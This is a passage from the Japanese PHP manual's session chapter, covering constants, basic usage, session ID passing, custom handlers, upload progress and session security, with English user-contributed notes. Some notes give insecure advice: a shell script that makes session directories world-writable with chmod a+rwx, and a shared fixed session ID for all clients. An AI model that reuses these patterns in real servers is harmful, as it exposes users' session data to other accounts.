        x4) alphabet='0 1 2 3 4 5 6 7 8 9 a b c d e f' ;;
        x5) alphabet='0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v' ;;
        x6) alphabet='0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v'
            alphabet="$alphabet w x y z A B C D E F G H I J K L M N O P Q R S T U V W"
            alphabet="$alphabet X Y Z - ,"
            ;;
        *)    echo "unrecognized hash_bits_per_character.  Not running." ; exit 2 ;;
    esac
else
    echo "Cannot find the PHP.INI file.  Not running.  Sorry."
    exit 2
fi

# The depth of directories to create is $1.  0 means just create the named
# directory.  Directory to start with is $2.
#
# Used recursively, so variables must be "local".

doDir() {
    local dir="$2"
    if [[ -d "$dir" ]]
    then
        echo "Directory '$dir' already exists.  No problem."
    elif [[ -f "$dir" ]]
    then
        echo "FILE '$dir' exists.  Aborting." ; exit 2
    else
        if mkdir "$dir"
        then
            echo "Directory '$dir' created."
        else
            echo "Cannot create directory '$dir'.  Aborting." ; exit 2
        fi
    fi
    chmod a+rwx "$dir"
    if [[ $1 -gt 0 ]]
    then
        local depth=$(( $1 - 1 ))
        for letter in $alphabet
        do    doDir $depth "$dir/$letter"
        done
    fi
    }

echo "Running with savePath='$savePath', dirDepth=$dirDepth, and bitsPerCharacter=$bits."
sleep 3

doDir $dirDepth "$savePath"

exit 0
hassankhodadadeh at NOSPAM dot gmail dot com 20-Mar-2012 05:42
max value for "session.gc_maxlifetime" is 65535. values bigger than this may cause  php session stops working.
AskApache 10-Nov-2010 10:00
This is how I set my session.save_path
session.save_path = "1;/home/askapache/tmp/s"
So to create the folder structure you can use this compatible shell script, if you want to create with 777 permissions change the umask to 0000;
sh -o braceexpand -c "umask 0077;mkdir -p s/{0..9}/{a..z} s/{a..z}/{0..9}"

Then you can create a cronjob to clean the session folder by adding this to your crontab which deletes any session files older than an hour:
@daily find /home/askapache/tmp/s -type f -mmin +60 -exec rm -f {} \; &>/dev/null

That will create sessions in folder like:
 /home/askapache/tmp/s/b/sess_b1aba5q6io4lv01bpc6t52h0ift227j6

I don't think any non-mega site will need to go more than 1 levels deep.  Otherwise you create so many directories that it slows the performance gained by this.
orbill 30-Aug-2010 05:08
apparently the default value for session.use_only_cookies has changed in 5.3.3 from 0 to 1. If you haven't set this in your php.ini or your code to 0 transparent sessions won't work.
Nicholas 26-Aug-2010 11:08
Transient sessions do not appear to be working in 5.3.3

E.g.

<?php
    ini_set("session.use_cookies", 0);
    ini_set("session.use_trans_sid", 1);
    session_start();

    if (isset($_SESSION["foo"])) {
        echo "Foo: " . $_SESSION["foo"];
    } else {
        $_SESSION["foo"] = "Bar";
        echo "<a href=?" . session_name() . "=" . session_id() . ">Begin test</a>";
    }
?>

This works in 5.2.5, but not 5.3.3
Wouter 19-May-2010 03:14
When setting the session.cookie_lifetime directive in a .htaccess use string format like;

php_value session.cookie_lifetime "123456"

and not

php_value session.cookie_lifetime 123456

Using a integer as stated above dit not work in my case (Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g)
mikaelkael at php dot net 28-Jan-2009 12:50
Recently, I needed to change the session save_path in my program under Windows. With an ini_set('session.save_path', '../data/sessions'); (and session.gc_divisor = 1 for test), I always obtain 'Error #8 session_start(): ps_files_cleanup_dir: opendir(../data/sessions) failed: Result too large'.

I corrected this by changing with ini_set('session.save_path', realpath('../data/sessions'));
sony-santos at bol dot com dot br 16-Oct-2008 11:17
In response to 00 at f00n, this very page explains:

"(...) if N is used and greater than 0 then automatic garbage collection will not be performed (...)"

So you can actually use custom save_path with automatic garbage collection, since you don't use the subdirectory option (that N subdirectory levels).
00 at f00n dot com 25-Jun-2008 06:36
After having many problems with garbage collection not clearing my sessions I have resolved it through the following.

First I found this in the php.ini (not something i noticed as i use phpinfo(); to see my hosting ini).

; NOTE: If you are using the subdirectory option for storing session files
;       (see session.save_path above), then garbage collection does *not*
;       happen automatically.  You will need to do your own garbage

; collection through a shell script, cron entry, or some other method. ;       For example, the following script would is the equivalent of
;       setting session.gc_maxlifetime to 1440 (1440 seconds = 24 minutes):
;          cd /path/to/sessions; find -cmin +24 | xargs rm

With this is mind there are options.

1. dont use a custom save_path.
** This means if your isp hasnt defaulted your session temp to something safer than install default or you are using a shared directory for session data then you would be wise to use named sessions to keep your session from being viewable in other people's scripts.  Creating a unique_id name for this is the common method. **

2. use your custom folder but write a garbage collection script.

3. use a custom handler and a database
phpforcharity dot 5 dot pistos at geoshell dot com 24-Jun-2008 06:05
To get session IDs to show up in URIs, and not get stored via cookies, you must not only set session.use_cookies to 0, but also set session.use_trans_sid to 1.  Otherwise, the session ID goes neither in a cookie nor in URIs!


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SID (string)
"name=ID" 形式でセッション名とセッション ID を格納している定数。 セッション ID がセッションクッキーに適切にセットされている場合には空文字列が入る。 これは session_id() が返す ID と同一になる。
PHP_SESSION_DISABLED (int)
PHP 5.4.0 以降で導入。セッションが無効な場合の session_status() の返り値。
PHP_SESSION_NONE (int)
PHP 5.4.0 以降で導入。セッションが有効だけれどもセッションが存在しない場合の session_status() の返り値。
PHP_SESSION_ACTIVE (int)
PHP 5.4.0 以降で導入。セッションが有効で、かつセッションが存在する場合の session_status() の返り値。

User Contributed Notes

sarath dot jasrin at gmail dot com 12-Oct-2016 12:05
Check whether session started using Predefined Constants

if (session_status() == PHP_SESSION_NONE) {
    session_start();
}
Anonymous 14-Aug-2016 06:12
SID constant defined dynamically!

var_dump(defined('SID'));  // bool(false) - Not defined...
session_start();
var_dump(defined('SID'));  // bool(true) - Defined now!


例

目次

  • 基本的な使用法
  • セッションIDの受渡し
  • カスタムセッションハンドラ

User Contributed Notes

epuk_epicnospam at hotmail dot com 27-Apr-2013 09:17
Another option that prevents form resubmit using the back button, and one that does not require sessions or predefined get parameters, is redirecting to a different url after the form is submitted.
Anonymous 16-Dec-2011 02:01
To avoid re-submits I add a random-number $rand to the form by "GET".

(action='file.php?rand= $rand').

Further, the $rand is stored in a SESSION-variable.

Everytime the file ist called,  the functions will only be processed if the $rand that comes by "GET" is not identical to the $rand in the SESSION-variable.

If someone comes there by pressing the "back" key of his browser, the 2 $rand will be identical and nothing will happen.

That works perfect.
Chris 07-Feb-2011 08:52
It took me a while to find out how to use PHP sessions to prevent HTML form re-submits. A user can re-submit a form via the backspace key/back arrow and/or the F5/refresh key. I needed to control if/when a HTML form could be resubmitted. Here's what I came up with:

<?php
$SID = session_id();
if(empty($SID)) session_start() or exit(basename(__FILE__).'(): Could not start session');
$_SESSION['err'] = ''; $exit = false;
do {
    //    check if form was previously submitted
    if(isset($_POST['submit']) and isset($_POST['SID']) and ($_POST['SID'] !== session_id())) {
        $ret = null; $exit = true; break; }
    //    break out of do-while if form has not been submitted yet
    if(empty($_POST['submit'])) break;
    //    process form data if user hit form "submit" button
    if(isset($_POST['submit'])) {
        $ret = validate_form();
        //    ret will be error message if form validation failed
        if(is_string($ret)) { $_SESSION['err'] = $ret; break; }
        //    ret will be array of cleaned form values if validation passed
        if(is_array($ret)) { session_regenerate_id(true); $exit = true; break; }
    }
} while(false);

if($exit) display_receipt($ret);
$exit and exit;

function validate_form() {
    $tmp = htmlspecialchars(strtoupper($_POST['name']));    //    clean POST data
    if(stripos($_POST['great'], 'yes') !== false) return array('name' => $tmp, 'great' => 'YES!');
    return 'Wrong answer!';
}

function display_receipt($msg) {
    if($msg === null) echo 'You already answered the question!';
    if(is_array($msg)) echo 'Your answer of '.$msg['great'].' is right '.$msg['name'];
    return;
}
?>

<html><body>
<?php echo $_SESSION['err']; ?>
<form name="form1" action="http://<?php echo $_SERVER['HTTP_HOST'], $_SERVER['PHP_SELF']; ?>" method="post">
Name: <input type="text" name="name" value="<?php isset($_SESSION["name"]) and print $_SESSION["name"]; ?>">
Is PHP great? <input type="text" name="great" value="<?php isset($_SESSION["great"]) and print $_SESSION["great"]; ?>">
<input type="hidden" name="SID" value="<?php echo session_id(); ?>">
<input type="submit" name="submit" value="Submit">
</form></body></html>
ranc at mobixell dot com 07-Apr-2009 04:24
I have wrote this following piece of code that shows how to work with global sessions (global to all clients) and private sessions (private per browser instance i.e. session cookie).

This code is usefull to store some read-only complex configuration and store it once (per server) and save the performance penatly for doing the same thing over each new private session...

Enjoy:
<?php
    // Get the private context
    session_name('Private');
    session_start();
    $private_id = session_id();
    $b = $_SESSION['pr_key'];
    session_write_close();

    // Get the global context
    session_name('Global');
    session_id('TEST');
    session_start();

    $a = $_SESSION['key'];
    session_write_close();

    // Work & modify the global & private context (be ware of changing the global context!)
 ?>
<html>
    <body>
        <h1>Test 2: Global Count is: <?=++$a?></h1>
        <h1>Test 2: Your Count is: <?=++$b?></h1>
        <h1>Private ID is <?=$private_id?></h1>
        <h1>Gloabl ID is <?=session_id()?></h1>
        <pre>
        <?php print_r($_SESSION); ?>
        </pre>
    </body>
 </html>
 <?php
    // Store it back
    session_name('Private');
    session_id($private_id);
    session_start();
    $_SESSION['pr_key'] = $b;
    session_write_close();

    session_name('Global');
    session_id('TEST');
    session_start();
    $_SESSION['key']=$a;
    session_write_close();
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (lveillette AT silexmultimedia DOT com) on 19-NOV-09.]


基本的な使用法

セッションは、シンプルな方法で個々のユーザーのデータを格納する仕組みで、 個々のユーザーに対して一意なセッション ID を用意します。 これを用いて、複数ページにまたがるリクエストの間で状態の情報を永続させることができます。 セッション ID をブラウザに送信するときには、通常はセッションクッキーを利用します。 また、その ID を使って既存のセッションデータを取得します。 その ID やセッションクッキーが存在しなければ PHP に対して新たなセッションを作るよう伝え、 新たなセッション ID を生成します。

セッションの処理の流れは単純です。セッションを開始すると、 PHP はまず、(通常はセッションクッキーから受け取る) ID を使って既存のセッションを取得しようとします。 ID を受け取らなかった場合は新しいセッションを作成します。 セッションを開始すると、PHP はスーパーグローバル $_SESSION にすべてのセッションデータを格納します。PHP スクリプトの処理が終了するときには、 スーパーグローバル $_SESSION の中身を自動的に受け取ってシリアライズし、 ストレージに送信します。この一連の操作にはセッション保存ハンドラを使います。

デフォルトでは、PHP が使う保存ハンドラは files です。これは session.save_handler で設定します。 このハンドラは、サーバー上の session.save_path で指定した場所にセッションデータを保存します。

セッションを手動で開始するには session_start() 関数を使います。 session.auto_start に 1 を設定している場合は、 リクエストの開始時に自動的にセッションを開始します。

通常は、PHP がスクリプトの処理を終了するときに、セッションは自動的に終了します。 手動でセッションを終了させるには session_write_close() 関数を使います。

例1 $_SESSIONで変数を登録

<?php
session_start();
if (!isset($_SESSION['count'])) {
  $_SESSION['count'] = 0;
} else {
  $_SESSION['count']++;
}
?>

例2 変数を $_SESSION から削除する

<?php
session_start();
unset($_SESSION['count']);
?>

警告

unset($_SESSION)によって 全ての$_SESSIONを初期化してはいけません。 $_SESSIONスーパーグローバル変数を用いた セッション変数の登録ができなくなってしまうからです。

警告

セッション変数において参照を使用することはできません。 他の変数への参照を復元する方法がないからです。

注意:

ファイルベースのセッション (PHP のデフォルト) は、 session_start() でオープンしたり session.auto_start で暗黙のうちに開始したりしたセッションのセッションファイルをロックします。 いったんロックがかかったら、そのスクリプトが終了するなり session_write_close() を呼んでセッションを閉じるなりしない限り、 他のスクリプトからはそのセッションファイルにアクセスできません。

これは、たとえば AJAX を使いまくっていて同時に複数のリクエストが発生したりするウェブサイトで問題になります。 この問題への対処方法として一番お手軽なのは、セッションに対して必要な変更が終わったらすぐに session_write_close() を呼ぶことです。スクリプトの最初のほうで呼ぶほうが好ましいでしょう。 あるいは、ファイルではなく別のバックエンド (同時アクセスに対応しているもの) を使うという手もあります。

User Contributed Notes

There are no user contributed notes for this page.


セッションIDの受渡し

セッションIDの通知を行うためには次の二つの方法があります。

  • Cookies
  • URLパラメータ

sessionモジュールは、両方の方法をサポートします。 Cookieは最適ですが、(クライアントがCookieを受け入れない可能性が あるため)信頼性がなく、これに依存することができません。2番目の方 法は、セッションIDを直接URLに埋め込みます。

PHPには、透過的にリンクを変換する機能を有しています。 この実行時オプション session.use_trans_sidが有効な場合、 相対URIは自動的にセッションIDを含むように変換されます。

注意:

arg_separator.output php.ini ディレクティブにより、引数セパレータをカスタマイズする ことができます。XHTMLに完全準拠するためには、ここに &amp; を指定してください。

もしくは、セッションが開始している場合に定義されている定数 SID を使用することもできます。クライアントが適当な セッションクッキーを送信しなかった場合、この定数は session_name=session_id の形式となります。 他方、送信された場合には、この定数は空の文字列に展開されます。 このため、この定数を無条件に URL に埋め込むことができます。

次の例は、変数の登録法および SID を用いて他のページに正しくリンクする方法のデモです。

例1 単一のユーザーに関するヒット数を数える

<?php

session_start();

if (empty($_SESSION['count'])) {
   $_SESSION['count'] = 1;
} else {
   $_SESSION['count']++;
}
?>

<p>
こんにちは、あなたがこのページに来たのは <?php echo $_SESSION['count']; ?> 回目ですね。
</p>

<p>
続けるには、<a href="nextpage.php?<?php echo htmlspecialchars(SID); ?>">ここをクリック</A>
してください。
</p>

XSSに関係する攻撃を防止するためにSIDを出力する際に、 htmlspecialchars()を使用します。

PHPをコンパイルする際に --enable-trans-sid を使用した場合、 上の例のように SID を出力する必要はありません。

注意:

相対URLでないURLは外部サイトを指していると仮定され、SID が追加されません。これは、SID を外部のサーバーに開示することはセキュリティ上のリスクとなる可能性があるためです。

User Contributed Notes

EastWhite at foxmail dot com 14-Jul-2016 04:23
The constant SID would always be '' (an empty string) if directive session.use_trans_sid in php ini file is set to 0.
But set session.use_trans_sid to 1 is not effective if director session.use_only_cookies is 1.
try:
session_start(['use_only_cookies'=>0])
or
session_start(['use_only_cookies'=>0,use_trans_sid=1])
Anonymous 16-Mar-2010 10:23
The first time a page is accessed, PHP doesn't yet know if the browser is accepting cookies or not, so after session_start() is called, SID will be non-empty, and the PHPSESSID gets inserted in all link URLs on that page that are properly using SID.

This has the consequence that if, for example, a search engine bot hits your home page first, all links that it sees on your home page will have the ugly PHPSESSID=... in them.

This appears to be the default behavior. A work-around is to turn on session.use_only_cookies, but then you lose session data for anyone who has their cookies turned off.


カスタムセッションハンドラ

セッション情報をデータベースに保存する機能か他の保存法を実装するには、 一連のユーザーレベルの保存関数を作成し、 session_set_save_handler()を使用する必要があります。 PHP 5.4.0 以降では、SessionHandlerInterface を使ったり、SessionHandler を継承して PHP の内部セッションハンドラを拡張したりしてセッションハンドラを作成できます。

session_set_save_handler() で指定したコールバックメソッドが、 セッションのライフサイクル内で PHP からコールされます。 セッションの open、read、write、 close、そしてセッションの削除 (destroy) や定期的なガベージコレクション (gc) などのときです。

したがって、PHP では常にセッション保存ハンドラが必要となります。デフォルトは、通常はファイルベースの保存ハンドラです。 自作の保存ハンドラは session_set_save_handler() で設定できます。 内部的な保存ハンドラとして、デフォルト以外のものも PHP の拡張モジュールとして用意されています。 sqlite や memcache そして memcached などで、これらは session.save_handler で設定できます。

セッションが開始するときに、PHP は内部的に open ハンドラをコールします。 それに続けて read コールバックを実行し、 このコールバックがエンコードされた文字列を返します。これは最初にセッションストレージに渡されたものと同じ形式になります。 read コールバックがエンコードした文字列を返したら、 PHP がそれをデコードしてデコード後の配列をスーパーグローバル $_SESSION に格納します。

PHP のスクリプトが終了するとき (あるいは session_write_close() がコールされたとき) には、 PHP が内部的にスーパーグローバル $_SESSION をエンコードします。 そして、それをセッション ID とともに write コールバックに渡します。 write コールバックが終了すると、PHP は内部的に close コールバックハンドラを実行します。

セッションが明確に破棄されたときには、PHP は destroy ハンドラをセッション ID つきでコールします。

PHP はときどき gc コールバックを実行し、 設定されているセッション有効期限にもとづいて期限切れのセッションレコードを無効化します。 この処理では、最後にアクセスされてからの時間が $lifetime を超えているすべてのレコードを永続ストレージから削除しなければなりません。

User Contributed Notes

tony at marston-home dot demon dot co dot uk 06-Jun-2018 09:30
Your custom session handler should not contain calls to any of the session functions, such as session_name() or session_id(), as the relevant values are passed as arguments on various handler methods. Attempting to obtain values from alternative sources may not work as expected.


セッションのアップロード状況

注意: この機能は、PHP 5.4.0 以降で利用可能です。

INI オプション session.upload_progress.enabled を有効にすると、アップロード中の個々のファイルの進捗状況を PHP で追えるようになります。 この情報は、アップロードのリクエスト自体にとっては特に有用ではありませんが、 ファイルのアップロード中にアプリケーションから別のエンドポイントに POST リクエストを (XHR などで) 送って状態をチェックできるようになります。

アップロードの状況は、アップロードの処理中にスーパーグローバル $_SESSION で取得できます。また、 INI オプション session.upload_progress.name で設定した名前でも POST されます。PHP 側では、この POST リクエストを検出すると $_SESSION 内の配列に値を格納します。配列のインデックスは、INI オプション session.upload_progress.prefix と session.upload_progress.name の値をつなげたものです。つまり、これらの INI 設定を読んで次のようにキーを取得することになります。

<?php
$key = ini_get("session.upload_progress.prefix") . $_POST[ini_get("session.upload_progress.name")];
var_dump($_SESSION[$key]);
?>

現在進行中のファイルアップロードをキャンセルすることもできます。 キャンセルするには、$_SESSION[$key]["cancel_upload"] に true を設定します。複数のファイルをひとつのリクエストでアップロードしている場合は、 これでキャンセルできるのは現在進行中のアップロードとそれ以降にアップロードする予定だったファイルだけです。 既にアップロードが完了したファイルは削除されません。この方法でアップロードをキャンセルした場合、 $_FILES 配列のキー error に UPLOAD_ERR_EXTENSION が設定されます。

INI オプション session.upload_progress.freq および session.upload_progress.min_freq で、アップロードの進捗状況を再計算する頻度を制御します。 これらを適切に設定すれば、進捗状況の取得によるオーバーヘッドはほぼ無視できる程度になります。

例1 情報の例

アップロード進捗状況の配列の構造を示す例です。

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

セッションに格納されるデータは、このようになります。

<?php
$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // リクエストされた時刻
 "content_length" => 57343257, // POST されたコンテンツの長さ
 "bytes_processed" => 453489,  // 受信して処理済みのバイト数
 "done" => false,              // POST ハンドラが (正常かどうかにかかわらず) 完了した場合に true
 "files" => array(
  0 => array(
   "field_name" => "file1",       // <input/> フィールドの name
   // 次の 3 つの要素は $_FILES と同じ内容です
   "name" => "foo.avi",
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // POST ハンドラがこのファイルの処理を終えたときに true
   "start_time" => 1234567890,    // このファイルの処理が始まった時刻
   "bytes_processed" => 57343250, // このファイルにおける、受信して処理済みのバイト数
  ),
  // 同じリクエスト内で、まだアップロードが完了していない別のファイル
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

警告

ウェブサーバーのリクエストバッファリングを無効にしておかないと、うまく動作しません。 リクエストバッファリングが有効になっていると、PHP 側ではアップロードが完全に終わるまでアップロードされたことがわかりません。 たとえば Nginx などのサーバーは、大きなリクエストをバッファリングするようになっています。

警告

アップロード状況の情報は、あらゆるスクリプトを実行する前に、セッションに書き込まれます。 よって、セッション名を ini_set() 関数や session_name() 関数で変更してしまうと、 アップロード状況の情報が欠落したセッションが提供されることになります。

User Contributed Notes

alice at librelamp dot com 20-Jul-2016 11:49
There were two gotchas that got me with implementing this.

The first - if you use session_name() to change the name of sessions, this will not work. I discovered this by looking at phpinfo() and seeing that is saw a different session name.

At least in Apache, a better way to set the session is in your apache config use

php_value session.name "your custom name"

It goes within the Directory directive, might work in .htaccess - I don't know.

-=-

Secondly - in apache, don't use mod_mpm_prefork.so

That was the problem I had, that's the default in CentOS 7.

The problem is it causes Apache to wait with any additional requests until the upload is finished.

Commenting that module out and using mod_mpm_worker.so instead fixed that problem, and the progress meter worked.
adri74 at hotmail dot fr 18-Feb-2016 04:15
It seems like defining a session name before starting the session makes the $_SESSION['upload_progress...'] not to work any more !

session_name('session');
session_start();

(in both the upload page, and the XHR request)
ricki at rocker dot com 28-Apr-2015 06:36
session.upload_progress updates completely ignore custom session handlers set via  session_set_save_handler()
howtomakeaturn 04-Apr-2015 07:18
ATTENTION:

Put the upload progress session name input field BEFORE your file field in the form :

  <form action="upload.php" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
  <input type="file" name="file1" />
  <input type="file" name="file2" />
  <input type="submit" />
  </form>

If you make it after your file field, you'll waste a lot of time figuring why (just like me ...)

The following form will make you crazy and waste really a lot of time:

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="submit" />
</form>

DON'T do this!
StrateGeyti 20-Oct-2014 10:07
It seems like if you send a form with the field like :

<?php echo '<input type="hidden" name="'.ini_get('session.upload_progress.name') .'" value="123" />';  ?>

without any field type "file", the server respons will be an 500 error.
wilsonr at st dot com 03-Oct-2014 07:22
If you have upload progress enabled in your php.ini, and you have

<form enctype="multipart/form-data" ...
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" ...

in your form, but you DON'T specify an input with 'type="file"', you may lose your session ID. I am using PHP 5.5 and I lose my session ID on the second loading of such a page. To prevent this, you can use a dummy input as follows:

<form enctype="multipart/form-data" ... >
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" ... />
    <input type="file"' name="dummy" style="display="none;" ... />
jortsc at gmail dot com 29-Sep-2013 06:47
Note that if you run that code and you print out the content of $_SESSSION[$key] you get an empty array due that session.upload_progress.cleanup is on by default and it  cleans the progress information as soon as all POST data has been read.

Set it to Off or 0 to see the content of $_SESSION[$key].
Anonymous 12-Jun-2013 03:34
While the example in the documentation is accurate, the description is a bit off. To clarify:

PHP will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and the VALUE of the POSTed session.upload_progress.name variable.
Anonymous 02-May-2013 08:01
dont't forget, that the session has to be initialized before the form is generated, otherwise the mentioned example above won't work.
isius 03-Sep-2012 05:11
If you're seeing
"PHP Warning:  Unknown: The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in Unknown on line 0",
then a misplaced input could be the cause. It's worth mentioning again that the hidden element MUST be before the file elements.
nihaopaul at gmail dot com 10-Aug-2012 06:12
it should be noted that the hidden element come before the file element otherwise you wont get any updates.
s.zarges 19-Jun-2012 09:32
Note, this feature doesn't work, when your webserver is runnig PHP via FastCGI. There will be no progress informations in the session array.
Unfortunately PHP gets the data only after the upload is completed and can't show any progress.

I hope this informations helps.
powtac at gmx dot de 02-Mar-2012 08:35
For PHP >= 5.2 there is http://pecl.php.net/package/uploadprogress


セッション と セキュリティ

目次

  • セッション管理の基礎
  • セッションに関連する INI 設定をセキュアにする

外部リンク: » Session fixation

HTTP におけるセッション管理は、web セキュリティのコアに相当します。 セッションがセキュアであることを保証するために、 全てのとりうる軽減策を採用すべきです。 開発者はまた、適用可能なセキュリティ対策を 有効/実行 すべきです。

User Contributed Notes

There are no user contributed notes for this page.


セッション管理の基礎

セッションのセキュリティ

セッションモジュールは、セッションに保存された情報を 作成したユーザーだけが見られることを保証できません。 セッションに紐付けられた値によっては、 セッションの機密性を守るために追加の対策が必要です。

セッションに保存されているデータがどれくらい重要かを評価し、 さらなる防御策を展開すべきかもしれません。 通常、そうしてしまうとコストが高く付きます。 たとえば、ユーザーの利便性を損なうことが挙げられます。 たとえば、ユーザーを単純なソーシャルエンジニアリングから守るためには、 session.use_only_cookies を有効にする必要があります。 この場合、クッキーを無条件にクライアント側でも有効にしなければなりません。 さもないとセッションが動作しないからです。

既存のセッションIDをサードパーティに漏らす方法は複数あります。 JavaScriptインジェクション、セッションID を URL に埋め込む方法、 パケット盗聴、デバイスへの物理アクセス、などです。 セッションIDが漏れてしまうと、 サードパーティがその特定のIDに紐付けられた全てのリソースに アクセスできるようになってしまいます。 既存のセッションIDを漏らす最初の方法は、URL でセッションIDを持ち回すやり方です。 もし外部サイトやリソースへのリンクが存在したとすると、 セッションIDを含むURLが、外部サイトのリファラログに保存されるかもしれません。 ふたつめは、より積極的な攻撃者がネットワークトラフィックを盗聴しているかもしれません。 ネットワークトラフィックが暗号化されていないと、 セッションIDがネットワーク越しにプレーンテキスト内に流出してしまいます。 防御策は、SSL/TLS をサーバ側で実装し、ユーザーがそれを使うように強制することです。 HSTS も、セキュリティを向上させるために使えるはずです。

注意: HTTPS でさえも、あらゆる時に機密データを保護することはできません。 たとえば、CRIME や Beast 脆弱性が、攻撃者にデータを読めるようにしてしまうかもしれません。 また、多くのネットワークは HTTPS の MITMプロキシ を監査の目的で採用しています。 攻撃者も、そうしたプロキシをセットアップしているかもしれません。

セッションアダプションを防ぐためのセッション管理

PHP のセッションマネージャーは、 現状ではデフォルトでセッションアダプション攻撃が可能です。 アダプション攻撃が可能なセッションマネージャーは、 追加のリスクを背負うことになります。

PHP 5.5.2 以降では、 session.use_strict_mode が利用できます。 これを有効にし、かつセッションの保存ハンドラがサポートしている場合、 初期化されていないセッションIDは拒否され、新しいものが作成されます。 これによって、攻撃者がユーザーに既知のセッションIDを強制的に使わせることを防止できます。 攻撃者はセッションID付きのリンクをペーストしたり、 そうしたリンクを含んだメールを送るかもしれません。 たとえば http://example.com/page.php?PHPSESSID=123456789 のようなものです。 session.use_trans_sid が有効な場合、 ユーザーは攻撃者が提供したセッションIDを使ってセッションを開始してしまいます。 session.use_strict_mode は、 こうしたリスクを軽減します。

警告

ユーザー定義の保存ハンドラも、セッションIDの検証を行うことで 厳格なセッションモードをサポートできます。 保存ハンドラを定義した全てのユーザーは、セッションIDの検証を実装すべきです。

セッションIDクッキーは、domain, path, httponly, secure, そして PHP 7.3 以降では、SameSite 属性とともに設定できます。 これは、ブラウザで定義されたものが優先します。 この優先される仕組みを使い、攻撃者は永久に使えるセッションIDを設定できてしまいます。 session.use_only_cookies はこの問題を解決できません。 session.use_strict_mode を使うとこのリスクを軽減できます。 session.use_strict_mode=On にすると、 初期化されていないセッションIDは拒否されます。

注意: session.use_strict_mode はアダプション可能なセッション管理機構のリスクを軽減しますが、 攻撃者は自らが生成したセッションIDを、 初期化済みセッションIDとして使わせることが出来てしまいます。 たとえば JavaScriptインジェクション攻撃です。 この攻撃はこのマニュアルで推奨する方法で軽減できます。 このマニュアルに従い、開発者は session.use_strict_mode を有効にし、タイムスタンプベースのセッション管理を行い、 推奨する手続きを使って session_regenerate_id() を使い セッションIDの再生成を行うべきです。 開発者が上記全てに従えば、攻撃者が生成したセッションIDは、結局は削除されます。 有効期限が切れたセッションにアクセスされたときのために、 開発者は全てのアクティブなユーザーのセッションデータを保存すべきです。 この情報は後に行われる調査とも関係があります。 ユーザーは全てのセッションから強制的にログアウトさせられるべきです。 つまり、再認証させるべきです。 こうすることで、攻撃者が盗まれたセッションを悪用することを防止できます。

警告

有効期限が切れたセッションにアクセスすることが、 必ずしも攻撃であることを示しているとは限りません。 不安定なネットワークや、 アクティブなセッションをすぐに削除してしまったりすることが原因で、 正当なユーザーが、有効期限が切れたセッションにアクセスすることがあるからです。

PHP 7.1.0 以降、session_create_id() が追加されました。 この関数は、セッションIDの前にユーザー定義のIDをつけることで、 全てのアクティブなユーザーのセッションに効率的にアクセスできます。 session.use_strict_mode を有効にすることが重要です。有効にしないと、 悪意のあるユーザーが悪意のあるセッションIDを他のユーザーに設定できてしまいます。

注意: PHP 7.1.0 より前のバージョンのユーザーは新しいセッションIDを生成する のに CSPRNG、つまり /dev/urandom や random_bytes() やハッシュ関数を使うべきです。 session_create_id() には衝突を検出する機能があり、 セッションの INI 設定に従ってセッションIDを生成します。 session_create_id() の利用が好ましいです。

セッションID の再生成

session.use_strict_mode は良い軽減策ですが、十分ではありません。開発者はセッションのセキュリティのために session_regenerate_id() を同時に使うべきです。

セッションIDを再生成すると、盗まれたセッションIDを使われるリスクが減らせるので、 session_regenerate_id() 関数は定期的に呼び出されなければなりません。 たとえば、セキュリティに敏感な内容を扱っているのなら、 セッションIDを15分毎に再生成するようにしてください。 セッションID が盗まれた場合でも、正当なユーザーと攻撃者のセッションは両方時間切れになります。 言い換えれば、ユーザーだろうと攻撃者のアクセスだろうと、 期限切れのセッションにアクセスしたとしてエラーになるのです。

セッションID はユーザーの権限が上昇したときは再生成されなければ なりません。 たとえば認証が成功した後などです。 session_regenerate_id() は、 認証情報を $_SESSION に設定する前に必ずコールされなければなりません。 (PHP 7.0.0 以降では、session_regenerate_id() は タイムスタンプなどを保存するために、現在のセッションにセッションデータを自動的に保存します) 必ず新しいセッションだけに、認証済みのフラグが含まれるようにしてください。

開発者は session.gc_maxlifetime によるセッションの期限切れに依存しては いけません。 攻撃者は、認証済みのセッションも含めて、期限切れを防いで悪用を続けるため、 ターゲットのセッションIDに定期的にアクセスしている可能性があるからです。

そのかわりに、開発者はタイムスタンプベースのセッション管理を実装しなければなりません。

警告

セッションマネージャーはタイムスタンプを透過的に管理できますが、 この機能はまだ実装されていません。 古いセッションデータは GC されるまで保持されなければなりません。 同時に、開発者は期限切れになったセッションデータが削除されることを保証しなければなりません。 たとえば、session_regenerate_id(true); と session_destroy() をアクティブなセッションに対して同時に呼んでは絶対にいけません。 これは矛盾したように聞こえますが、これは必須条件です。

session_regenerate_id() は、 デフォルトで期限切れのセッションを削除 しません。 期限切れの認証済みのセッションが存在するかもしれません。 開発者は期限切れのセッションは、誰からも消費されないようにしなければなりません。 期限切れのセッションデータへのアクセスを、タイムスタンプを使うことで禁止すべきです。

警告

